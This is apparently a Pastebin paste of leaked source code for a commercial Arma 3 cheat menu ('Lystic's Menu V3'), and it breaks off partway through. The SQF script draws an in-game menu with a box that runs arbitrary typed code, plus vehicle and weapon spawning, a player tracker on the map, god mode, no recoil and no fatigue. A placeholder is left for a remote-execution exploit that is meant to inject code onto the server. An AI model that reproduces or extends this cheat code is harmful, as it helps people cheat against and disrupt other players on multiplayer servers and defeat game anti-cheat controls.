Advertisement
Guest User

Lystic Arma 3 Menu Cracked Script Source LEEEEEEEEEKED

a guest
Nov 23rd, 2014
1,451
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 81.43 KB | None | 0 0
  1. OMFG_MENU = {
  2. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  3. ['SETTINGS'] call {
  4. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  5. Alien_Toggle = false;
  6. Vehicle_Toggle = false;
  7. Bruce_Toggle = false;
  8. Unlim_Toggle = false;
  9. execMapFunc = false;
  10. mapFunc = "";
  11. XposPlayer = safeZoneX + 0.8;
  12. XposMain = safezoneX + 1;
  13. XposSub = safezoneX + 1.2;
  14. XposExtra = safezoneX + 1.4;
  15. YposTitle = safezoneY + 0.1;
  16. width_all = 0.2;
  17. width_show_hide = width_all - 0.050;
  18. width_e = 0.8;
  19. heightH = 0.08;
  20. heightS = 0.06;
  21. font_height = 0.030;
  22. white_colour = [1,1,1,1];
  23. title_background = [0,0,0,0.3];
  24. header_text = [0,1,1,1];
  25. script_text = [1,1,1,1];
  26. blue_text = [0,1,1,1];
  27. on_text = [0.41,1,0.7,1];
  28. off_text = [1,0.41,0.41,1];
  29. black_text = [0, 0, 0, 1];
  30. red_colour = [1,0,0,1];
  31. green_colour = [0,1,0,1];
  32. font_title = "TahomaB";
  33. fontmain = "PuristaBold";
  34. fontthird = "PuristaSemiBold";
  35. };
  36. ['MISC'] call {
  37. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  38. fn_displayAdvert = {
  39. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  40. disableserialization;
  41.  
  42. _isChatOpen = {!isNull (findDisplay 24)};
  43.  
  44. _idd = _this;
  45. while {true} do {
  46. waitUntil{!isNull (findDisplay _idd)};
  47. _display = (findDisplay _idd);
  48.  
  49. _advert = _display ctrlCreate ["RscStructuredText",-1];
  50.  
  51. _width = (safezonew);
  52. _height = (safezoneh/30);
  53. _x = safezonex+(safezonew/2) - (_width/2);
  54. _y = safezoney;
  55.  
  56. _advert ctrlsetbackgroundcolor [0,0,0,0];
  57. _advert ctrlsettextcolor header_text;
  58. _advert ctrlSetPosition[_x,_y,_width,_height];
  59. _advert ctrlSetStructuredText parseText "<t align=""center"">Lystic's Menu V3 - www.EqualCheats.com</t>";
  60. _advert ctrlCommit 0;
  61.  
  62. waitUntil {
  63. if(call _isChatOpen) then {
  64. if(ctrlShown _advert) then {
  65. _advert ctrlShow false;
  66. };
  67. } else {
  68. if !(ctrlShown _advert) then {
  69. _advert ctrlShow true;
  70. };
  71. };
  72. isNull (findDisplay _idd)
  73. };
  74. };
  75. };
  76. fn_Exec = {
  77. //put remote here stolen by spyc0der
  78. };
  79. ['MENUS'] call {
  80. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  81. get_display = {
  82. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  83. (findDisplay 999);
  84. };
  85. create_display = {
  86. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  87. createDialog "RscCredits";
  88. };
  89. init_menu = {
  90. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  91. if(isNull (call get_display)) then {
  92. call create_display;
  93.  
  94. OPEN_LISTS = [];
  95. with uinamespace do {
  96. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  97. CTRL_BTN_LIST = [[],[],[],[]];
  98. };
  99.  
  100. [] spawn titles_n_shit;
  101. [] spawn eXecutorr;
  102. [] spawn menu_headers;
  103. [] spawn player_list;
  104. [] spawn refresh_players;
  105. [] spawn fn_loadMap;
  106. [] spawn weapon_list;
  107. [] spawn vehicle_list;
  108. };
  109. };
  110. vehicle_list = {
  111. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  112. disableSerialization;
  113.  
  114. _TreeView = (call get_display) ctrlCreate ["RscTree",-95];
  115. _TreeView ctrlSetPosition [Xposplayer+width_e, YposTitle, (width_e/2), heightS*15 + heightH + 0.6];
  116. _TreeView ctrlSetTextColor [1,1,1,0.6];
  117. _TreeView ctrlSetBackgroundColor [0,0,0,0.3];
  118. _TreeView spawn loadVehicles;
  119. _TreeView ctrlAddEventHandler ["TreeDblClick",{(_this select 0) spawn spawnVehicle}];
  120. _TreeView ctrlsetfont "EtelkaNarrowMediumPro";
  121. _TreeView ctrlCommit 0;
  122.  
  123. uiNamespace setVariable ["VEHICLE_LIST", _TreeView];
  124.  
  125. };
  126. loadVehicles = {
  127. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  128. disableserialization;
  129. _tree = _this;
  130.  
  131. if(isNil "var_Menu_vehicle") then {
  132. var_Menu_vehicle = [];
  133. _cfg = configFile >> "cfgVehicles";
  134. for "_i" from 0 to (count _cfg)-1 do
  135. {
  136. _class = _cfg select _i;
  137. if (isClass _class) then
  138. {
  139.  
  140. _typeName = configName _class;
  141. _image = (getText (_class >> "picture"));
  142. _name = getText(configfile >> "cfgVehicles" >> _typeName >> "displayName");
  143. if ((getNumber (_class >> "scope") == 2) && (getText (_class >> "picture")!= "") && ((_typeName isKindOf "LandVehicle") || (_typeName isKindOf "Air") || (_typeName isKindOf "Ship")) && !((_typeName isKindOf "ParachuteBase") or (_typeName isKindOf "BIS_Steerable_Parachute"))) then
  144. {
  145. var_Menu_vehicle = var_Menu_vehicle + [[_name,_typeName,_image]];
  146. };
  147. };
  148. };
  149. };
  150.  
  151. {
  152. _array = _x;
  153.  
  154. _text = _array select 0;
  155. _data = _array select 1;
  156. _image = _array select 2;
  157.  
  158. _index = _tree tvAdd[[],_text];
  159. _tree tvSetPicture [[_index],_image];
  160. _tree tvSetData [[_index],_data];
  161. } forEach var_Menu_vehicle;
  162. _tree ctrlCommit 0;
  163. };
  164. spawnVehicle = {
  165. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  166. if(isNil 'LY_PublishInjected') then {
  167. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  168. [{
  169. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  170. call compile ("
  171. _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};
  172. Publish_Vehicle = {
  173. _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};
  174. _name = _this select 0;
  175. _pos = _this select 1;
  176. _dir = _this select 2;
  177. _obj = _name create" + "Vehicle _pos;
  178. _obj setDir _dir;
  179. };
  180. ");
  181. },false] call fn_Exec;
  182. LY_PublishInjected = true;
  183. uisleep 1.5;
  184. };
  185.  
  186. _ctrl = _this;
  187.  
  188. _curSelArr = tvCurSel _ctrl;
  189. _truepath = [_curSelArr select 0];
  190. _data = _ctrl tvData _truepath;
  191.  
  192. _veh_type_LPMEnigg4 = _data;
  193. hint format["spawning %1",_veh_type_LPMEnigg4];
  194. _dir = getdir vehicle player;
  195. _pos_LP = getPos vehicle player;
  196. _pos_LP = [(_pos_LP select 0)+8*sin(_dir),(_pos_LP select 1)+8*cos(_dir),0];
  197. _xpos = _pos_LP select 0;
  198. _ypos = _pos_LP select 1;
  199. _zpos = _pos_LP select 2;
  200. _code = (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};' + (str [_veh_type_LPMEnigg4, [_xpos,_ypos,_zpos],_dir]) + " spawn Publish_Vehicle;");
  201. [_code,false] call fn_Exec;
  202. cutText [format["%1 spawned",_veh_type_LPMEnigg4], "PLAIN DOWN"];
  203. };
  204. weapon_list = {
  205. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  206. disableSerialization;
  207.  
  208. _TreeView = (call get_display) ctrlCreate ["RscTree",-95];
  209. _TreeView ctrlSetPosition [Xposplayer-(width_e/2), YposTitle, (width_e/2), heightS*15 + heightH + 0.6];
  210. _TreeView ctrlSetTextColor [1,1,1,0.6];
  211. _TreeView ctrlSetBackgroundColor [0,0,0,0.3];
  212. _TreeView spawn loadWeapons;
  213. _TreeView ctrlAddEventHandler ["TreeDblClick",{(_this select 0) spawn spawnWeapon}];
  214. _TreeView ctrlsetfont "EtelkaNarrowMediumPro";
  215. _TreeView ctrlCommit 0;
  216.  
  217. uiNamespace setVariable ["WEAPON_LIST", _TreeView];
  218. };
  219. spawnWeapon = {
  220. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  221. _ctrl = _this;
  222.  
  223. _curSelArr = tvCurSel _ctrl;
  224. _truepath = [_curSelArr select 0];
  225. _data = _ctrl tvData _truepath;
  226.  
  227. _weaponHolder = "GroundWeaponHolder" createVehicle (position player);
  228. _weaponHolder setposatl (getposatl player);
  229.  
  230. _mags = getArray (configFile >> "CfgWeapons" >> _data >> "magazines");
  231. if(str(_mags) != "[]") then {
  232. _mag = _mags select floor(random(count(_mags)));
  233. _weaponHolder addWeaponCargoGlobal [_data,1];
  234. _weaponHolder addMagazineCargoGlobal [_mag,5];
  235. hint "Your weapon is here!\nCheck below your feet!";
  236. } else {
  237. _weaponHolder addItemCargoGlobal [_data,1];
  238. hint "Your item is here!\nCheck below your feet!";
  239. };
  240.  
  241.  
  242. true;
  243. };
  244. loadWeapons = {
  245. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  246. disableserialization;
  247. _tree = _this;
  248. if(isNil "var_Menu_weapon") then {
  249. var_Menu_weapon = [];
  250. _cfg = configFile >> "cfgWeapons";
  251. for "_i" from 0 to (count _cfg)-1 do
  252. {
  253. _class = _cfg select _i;
  254. if (isClass _class) then
  255. {
  256.  
  257. _typeName = configName _class;
  258. _image = (getText (_class >> "picture"));
  259. _name = getText(configfile >> "cfgWeapons" >> _typeName >> "displayName");
  260. if ((getNumber (_class >> "scope") == 2) && (getText (_class >> "picture") != "")) then
  261. {
  262. var_Menu_weapon = var_Menu_weapon + [[_name,_typeName,_image]]
  263. };
  264. };
  265. };
  266. };
  267.  
  268. {
  269. _array = _x;
  270.  
  271. _text = _array select 0;
  272. _data = _array select 1;
  273. _image = _array select 2;
  274.  
  275. _index = _tree tvAdd[[],_text];
  276. _tree tvSetPicture [[_index],_image];
  277. _tree tvSetData [[_index],_data];
  278.  
  279. } forEach var_Menu_weapon;
  280. _tree ctrlCommit 0;
  281.  
  282. };
  283. refresh_players = {
  284. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  285. disableSerialization;
  286.  
  287. _EXIT_4 = (call get_display)ctrlCreate ["RscButton",-95];
  288. _EXIT_4 buttonSetAction "[] spawn refresh_plrs";
  289. _EXIT_4 ctrlSetText "REFRESH";
  290. _EXIT_4 ctrlSetTooltip "Refresh Player List";
  291. _EXIT_4 ctrlSetTooltipColorBox blue_text;
  292. _EXIT_4 ctrlSetTooltipColorText script_text;
  293. _EXIT_4 ctrlSetTooltipColorShade black_text;
  294. _EXIT_4 ctrlSetFont font_title;
  295. _EXIT_4 ctrlSetFontHeight font_height;
  296. _EXIT_4 ctrlSetPosition [Xposplayer, YposTitle + 0.68 + heightS + heightS*5, width_e, heightS];
  297. _EXIT_4 ctrlCommit 0;
  298. uiNamespace setVariable ["REFRESH_PLR", _EXIT_4];
  299. };
  300. titles_n_shit = {
  301. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  302. disableSerialization;
  303.  
  304. _Menu_title = (call get_display) ctrlCreate ["RscText", -1];
  305. _Menu_title ctrlSetText " Lystical v3";
  306. _Menu_title ctrlSetFade 0;
  307. _Menu_title ctrlSetFont font_title;
  308. _Menu_title ctrlSetTextColor header_text;
  309. _Menu_title ctrlSetPosition [XposMain + 0.1, YposTitle - 0.075, width_all, heightH];
  310. _Menu_title ctrlCommit 0;
  311. uiNamespace setVariable ["Menu_title", _Menu_title];
  312.  
  313. _Menu_title_BG = (call get_display) ctrlCreate ["RscBackgroundGUIDark", -2];
  314. _Menu_title_BG ctrlSetPosition [XposMain + 0.1, YposTitle - 0.062, width_all, heightS];
  315. _Menu_title_BG ctrlCommit 0;
  316. uiNamespace setVariable ["Menu_title_BG", _Menu_title_BG];
  317.  
  318. _line_bitchez = (call get_display) ctrlCreate ["RscBackgroundGUI", -96];
  319. _line_bitchez ctrlSetPosition [XposPlayer, YposTitle, 0.8, 0.620];
  320. _line_bitchez ctrlSetBackgroundColor [0,0,0,0.50];
  321. _line_bitchez ctrlCommit 0;
  322. uiNamespace setVariable ["line_bitchez", _line_bitchez];
  323. };
  324. eXecutorr = {
  325. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  326. disableSerialization;
  327.  
  328. _jmexec_box = (call get_display) ctrlCreate ["RscEdit", -99];
  329. _jmexec_box ctrlSetText "Type Code Here";
  330. _jmexec_box ctrlSetTooltip "Type code here to be executed";
  331. _jmexec_box ctrlSetTooltipColorBox blue_text;
  332. _jmexec_box ctrlSetTooltipColorText script_text;
  333. _jmexec_box ctrlSetTooltipColorShade black_text;
  334. _jmexec_box ctrlSetFont fontthird;
  335. _jmexec_box ctrlSetTextColor white_colour;
  336. _jmexec_box ctrlSetPosition [Xposplayer, YposTitle + 0.620, width_e, heightS];
  337. _jmexec_box ctrlCommit 0;
  338. ctrlActivate _jmexec_box;
  339. uiNamespace setVariable ["jmexec_box", _jmexec_box];
  340.  
  341. _jmexec_butt = (call get_display) ctrlCreate ["RscButton",-98];
  342. _jmexec_butt buttonSetAction "_fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};_HELLO_CODE = (ctrlText (uiNamespace getVariable 'jmexec_box'));[] spawn compile ([_HELLO_CODE] call fn_preprocess)";
  343. _jmexec_butt ctrlSetText "EXECUTE";
  344. _jmexec_butt ctrlSetTooltip "Execute Code";
  345. _jmexec_butt ctrlSetTooltipColorBox blue_text;
  346. _jmexec_butt ctrlSetTooltipColorText script_text;
  347. _jmexec_butt ctrlSetTooltipColorShade black_text;
  348. _jmexec_butt ctrlSetFont fontmain;
  349. _jmexec_butt ctrlSetTextColor white_colour;
  350. _jmexec_butt ctrlSetPosition [Xposplayer, YposTitle + 0.68, width_e, heightS];
  351. _jmexec_butt ctrlCommit 0;
  352. uiNamespace setVariable ["jmexec_butt", _jmexec_butt];
  353.  
  354. _jmexec_bg = (call get_display) ctrlCreate ["RscBackgroundGUIDark", -97];
  355. _jmexec_bg ctrlSetBackgroundColor title_background;
  356. _jmexec_bg ctrlSetPosition [Xposplayer, YposTitle + 0.620, width_e, heightS];
  357. _jmexec_bg ctrlCommit 0;
  358. uiNamespace setVariable ["jmexec_bg", _jmexec_bg];
  359. };
  360. menu_headers = {
  361. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  362. disableSerialization;
  363.  
  364. _player_menu = (call get_display) ctrlCreate ["RscButton", -4];
  365. _player_menu buttonSetAction "0 spawn fn_toggleList";
  366. _player_menu ctrlSetText toUpper "PLAYER";
  367. _player_menu ctrlSetTooltip "Click for drop down Player Menu";
  368. _player_menu ctrlSetTooltipColorText script_text;
  369. _player_menu ctrlSetTooltipColorBox blue_text;
  370. _player_menu ctrlSetTooltipColorShade black_text;
  371. _player_menu ctrlSetFont fontmain;
  372. _player_menu ctrlSetTextColor header_text;
  373. _player_menu ctrlSetPosition [XposPlayer, YposTitle, width_all, heightH];
  374. _player_menu ctrlCommit 0;
  375. uiNamespace setVariable ["CTRL_BTN_LVL1", _player_menu];
  376.  
  377. _Main_Menu = (call get_display) ctrlCreate ["RscButton", -5];
  378. _Main_Menu buttonSetAction "1 spawn fn_toggleList";
  379. _Main_Menu ctrlSetText toUpper "MAIN";
  380. _Main_Menu ctrlSetTooltip "Click for drop down Main Menu";
  381. _Main_Menu ctrlSetTooltipColorText script_text;
  382. _Main_Menu ctrlSetTooltipColorBox blue_text;
  383. _Main_Menu ctrlSetTooltipColorShade black_text;
  384. _Main_Menu ctrlSetFont fontmain;
  385. _Main_Menu ctrlSetTextColor header_text;
  386. _Main_Menu ctrlSetPosition [XposMain, YposTitle, width_all, heightH];
  387. _Main_Menu ctrlCommit 0;
  388. uiNamespace setVariable ["CTRL_BTN_LVL2", _Main_Menu];
  389.  
  390. _Sub_Menu = (call get_display) ctrlCreate ["RscButton", -6];
  391. _Sub_Menu buttonSetAction "2 spawn fn_toggleList";
  392. _Sub_Menu ctrlSetText toUpper "MISC";
  393. _Sub_Menu ctrlSetTooltip "Click for drop down Sub Menu";
  394. _Sub_Menu ctrlSetTooltipColorText script_text;
  395. _Sub_Menu ctrlSetTooltipColorBox blue_text;
  396. _Sub_Menu ctrlSetTooltipColorShade black_text;
  397. _Sub_Menu ctrlSetFont fontmain;
  398. _Sub_Menu ctrlSetTextColor header_text;
  399. _Sub_Menu ctrlSetPosition [XposSub, YposTitle, width_all, heightH];
  400. _Sub_Menu ctrlCommit 0;
  401. uiNamespace setVariable ["CTRL_BTN_LVL3", _Sub_Menu];
  402.  
  403. _Extra_Menu = (call get_display) ctrlCreate ["RscButton", -55];
  404. _Extra_Menu buttonSetAction "3 spawn fn_toggleList";
  405. _Extra_Menu ctrlSetText toUpper "REM EXEC";
  406. _Extra_Menu ctrlSetTooltip "Click for drop down New Shiz Menu";
  407. _Extra_Menu ctrlSetTooltipColorText script_text;
  408. _Extra_Menu ctrlSetTooltipColorBox blue_text;
  409. _Extra_Menu ctrlSetTooltipColorShade black_text;
  410. _Extra_Menu ctrlSetFont fontmain;
  411. _Extra_Menu ctrlSetTextColor header_text;
  412. _Extra_Menu ctrlSetPosition [XposExtra, YposTitle, width_all, heightH];
  413. _Extra_Menu ctrlCommit 0;
  414. uiNamespace setVariable ["CTRL_BTN_LVL4", _Extra_Menu];
  415. };
  416. player_list = {
  417. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  418. disableSerialization;
  419.  
  420. _plrTree = (call get_display) ctrlCreate ["RscTree",-50];
  421. _plrTree ctrlSetPosition [Xposplayer, YposTitle + 0.68 + heightS, width_e, heightS*5];
  422. _plrTree ctrlSetTextColor [1,1,1,0.6];
  423. _plrTree ctrlSetBackgroundColor [0,0,0,0.3];
  424. _plrTree call fn_loadCurrentPlayers;
  425. _plrTree ctrlsetfont "EtelkaNarrowMediumPro";
  426. _plrTree ctrlCommit 0;
  427. uiNamespace setVariable ["player_list", _plrTree];
  428.  
  429. };
  430. refresh_plrs = {
  431. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  432. disableserialization;
  433. _ctrl = uiNamespace getVariable "player_list";
  434. if(!isNull _ctrl) then {
  435. _ctrl spawn fn_loadCurrentPlayers;
  436. };
  437. };
  438. fn_getSideFlag = {
  439. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  440. _object = _this;
  441. _side = side _object;
  442. _flag = "\A3\data_f\Flags\flag_white_co.paa";
  443. if(_side == east) then {
  444. _flag = "\A3\data_f\Flags\flag_red_co.paa";
  445. };
  446. if(_side == west) then {
  447. _flag = "\A3\data_f\Flags\flag_blue_co.paa";
  448. };
  449. if(_side == INDEPENDENT) then {
  450. _flag = "\A3\data_f\Flags\flag_green_co.paa";
  451. };
  452. _flag;
  453. };
  454. fn_getSideColor = {
  455. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  456. _object = _this;
  457. _side = side _object;
  458. _color = [0,0,0,1];
  459. if(_side == east) then {
  460. _color = [1,0,0,1];
  461. };
  462. if(_side == west) then {
  463. _color = [0,0,1,1];
  464. };
  465. if(_side == CIVILIAN) then {
  466. _color = [1,1,1,1];
  467. };
  468. if(_side == INDEPENDENT) then {
  469. _color = [0,1,0,1];
  470. };
  471. _color;
  472. };
  473. fn_loadCurrentPlayers = {
  474. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  475. disableserialization;
  476. _ctrl = _this;
  477. tvClear _ctrl;
  478. _units = [];
  479. {
  480. if(isPlayer _x) then {player reveal _x;_units set[count(_units),_x];};
  481. } forEach allunits;
  482. {
  483. if(alive _x && side _x == blufor) then {
  484. _flag = _x call fn_getSideFlag;
  485.  
  486. _mainIndex = _ctrl tvAdd[[],name _x];
  487. _ctrl tvSetPicture [[_mainIndex],_flag];
  488.  
  489. _ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
  490. _ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
  491. _wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
  492. _magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
  493.  
  494. {
  495. _text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
  496. _wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
  497.  
  498. _ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
  499. } forEach (weapons player);
  500. _magInfo = [];
  501. _magCount = [];
  502. {
  503. if !(_x in _magInfo) then {
  504. _magInfo set[count(_magInfo),_x];
  505. _magCount set[count(_magCount),1];
  506. } else {
  507. _cnt = _magCount select (_magInfo find _x);
  508. _magCount set[count(_magCount),_cnt+1];
  509. };
  510. } forEach (magazines player);
  511. {
  512. _count = _magCount select _forEachIndex;
  513. _text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
  514. _wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
  515. _ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
  516. _ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
  517. } forEach _magInfo;
  518. };
  519. } forEach _units;
  520. {
  521. if(alive _x && side _x == opfor) then {
  522. _flag = _x call fn_getSideFlag;
  523.  
  524. _mainIndex = _ctrl tvAdd[[],name _x];
  525. _ctrl tvSetPicture [[_mainIndex],_flag];
  526.  
  527. _ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
  528. _ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
  529. _wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
  530. _magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
  531.  
  532. {
  533. _text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
  534. _wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
  535.  
  536. _ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
  537. } forEach (weapons player);
  538. _magInfo = [];
  539. _magCount = [];
  540. {
  541. if !(_x in _magInfo) then {
  542. _magInfo set[count(_magInfo),_x];
  543. _magCount set[count(_magCount),1];
  544. } else {
  545. _cnt = _magCount select (_magInfo find _x);
  546. _magCount set[count(_magCount),_cnt+1];
  547. };
  548. } forEach (magazines player);
  549. {
  550. _count = _magCount select _forEachIndex;
  551. _text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
  552. _wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
  553. _ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
  554. _ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
  555. } forEach _magInfo;
  556. };
  557. } forEach _units;
  558. {
  559. if(alive _x && side _x == independent) then {
  560. _flag = _x call fn_getSideFlag;
  561.  
  562. _mainIndex = _ctrl tvAdd[[],name _x];
  563. _ctrl tvSetPicture [[_mainIndex],_flag];
  564.  
  565. _ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
  566. _ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
  567. _wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
  568. _magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
  569.  
  570. {
  571. _text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
  572. _wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
  573.  
  574. _ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
  575. } forEach (weapons player);
  576. _magInfo = [];
  577. _magCount = [];
  578. {
  579. if !(_x in _magInfo) then {
  580. _magInfo set[count(_magInfo),_x];
  581. _magCount set[count(_magCount),1];
  582. } else {
  583. _cnt = _magCount select (_magInfo find _x);
  584. _magCount set[count(_magCount),_cnt+1];
  585. };
  586. } forEach (magazines player);
  587. {
  588. _count = _magCount select _forEachIndex;
  589. _text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
  590. _wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
  591. _ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
  592. _ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
  593. } forEach _magInfo;
  594. };
  595. } forEach _units;
  596. {
  597. if(alive _x && side _x == civilian) then {
  598. _flag = _x call fn_getSideFlag;
  599.  
  600. _mainIndex = _ctrl tvAdd[[],name _x];
  601. _ctrl tvSetPicture [[_mainIndex],_flag];
  602.  
  603. _ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
  604. _ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
  605. _wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
  606. _magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
  607.  
  608. {
  609. _text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
  610. _wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
  611.  
  612. _ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
  613. } forEach (weapons player);
  614. _magInfo = [];
  615. _magCount = [];
  616. {
  617. if !(_x in _magInfo) then {
  618. _magInfo set[count(_magInfo),_x];
  619. _magCount set[count(_magCount),1];
  620. } else {
  621. _cnt = _magCount select (_magInfo find _x);
  622. _magCount set[count(_magCount),_cnt+1];
  623. };
  624. } forEach (magazines player);
  625. {
  626. _count = _magCount select _forEachIndex;
  627. _text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
  628. _wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
  629. _ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
  630. _ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
  631. } forEach _magInfo;
  632. };
  633. } forEach _units;
  634. };
  635. fn_loadMap = {
  636. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  637. disableSerialization;
  638.  
  639. _map = (call get_display) ctrlCreate ["RscMapControl",-50];
  640. _map ctrlsetposition [Xposplayer, YposTitle + 0.68 + heightS*2 + heightS*5, width_e, heightS*8];
  641. _map ctrlCommit 0;
  642. _map ctrlAddEventHandler ["Draw",{
  643. _map = _this select 0;
  644. {
  645. _cfg = configFile >> "cfgVehicles" >> typeof _x;
  646. _text = format[toString[10] + "%1 (%2)",getText(_cfg >> "DisplayName"),count(crew _x)];
  647. {
  648. _text = _text + ":"+ (name _x);
  649. } forEach (crew _x);
  650. _map drawIcon [getText(_cfg >> "Icon"),_x call fn_getSideColor,getposatl _x,24,24,getdir _x,_text,0,0.03,"EtelkaNarrowMediumPro","right"];
  651.  
  652. } forEach vehicles;
  653. }];
  654. _map ctrlAddEventHandler ["Draw",{
  655. _map = _this select 0;
  656. {
  657. if(vehicle _x == _x && alive _x && isPlayer _x) then {
  658. _cfg = configFile >> "cfgVehicles" >> typeof _x;
  659. _map drawIcon [getText(_cfg >> "Icon"),_x call fn_getSideColor,getposatl _x,24,24,getdir _x,name _x,0,0.03,"EtelkaNarrowMediumPro","right"];
  660. };
  661. } forEach allUnits;
  662. }];
  663. };
  664.  
  665. };
  666. ['CHEATS'] call {
  667. S_godMode = {
  668. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  669. if(s_godmode_t) then {
  670. player removeAllEventHandlers "HandleDamage";
  671. player addEventHandler ["HandleDamage",{false}];
  672. Hint "GOD MODE ON";
  673. while{s_godmode_t} do {
  674. player setDamage 0;
  675. player allowDamage false;
  676. };
  677. } else {
  678. Hint "GOD MODE OFF";
  679. player removeAllEventHandlers "HandleDamage";
  680. player allowDamage true;
  681. };
  682. };
  683. S_NoRecoil = {
  684. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  685.  
  686. if(S_NoRecoil_t) then {
  687. hint 'No Fatigue On';
  688. while{S_NoRecoil_t} do {
  689. player setUnitRecoilCoefficient 0;
  690. waitUntil{unitRecoilCoefficient player != 0 || !S_NoRecoil_t};
  691. };
  692. } else {
  693. hint 'No Recoil Off';
  694. };
  695.  
  696. };
  697. S_noFatigue = {
  698. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  699.  
  700. if(S_noFatigue_t) then {
  701. hint 'No Fatigue On';
  702. while{S_noFatigue_t} do {
  703. player enableFatigue false;
  704. player setFatigue 0;
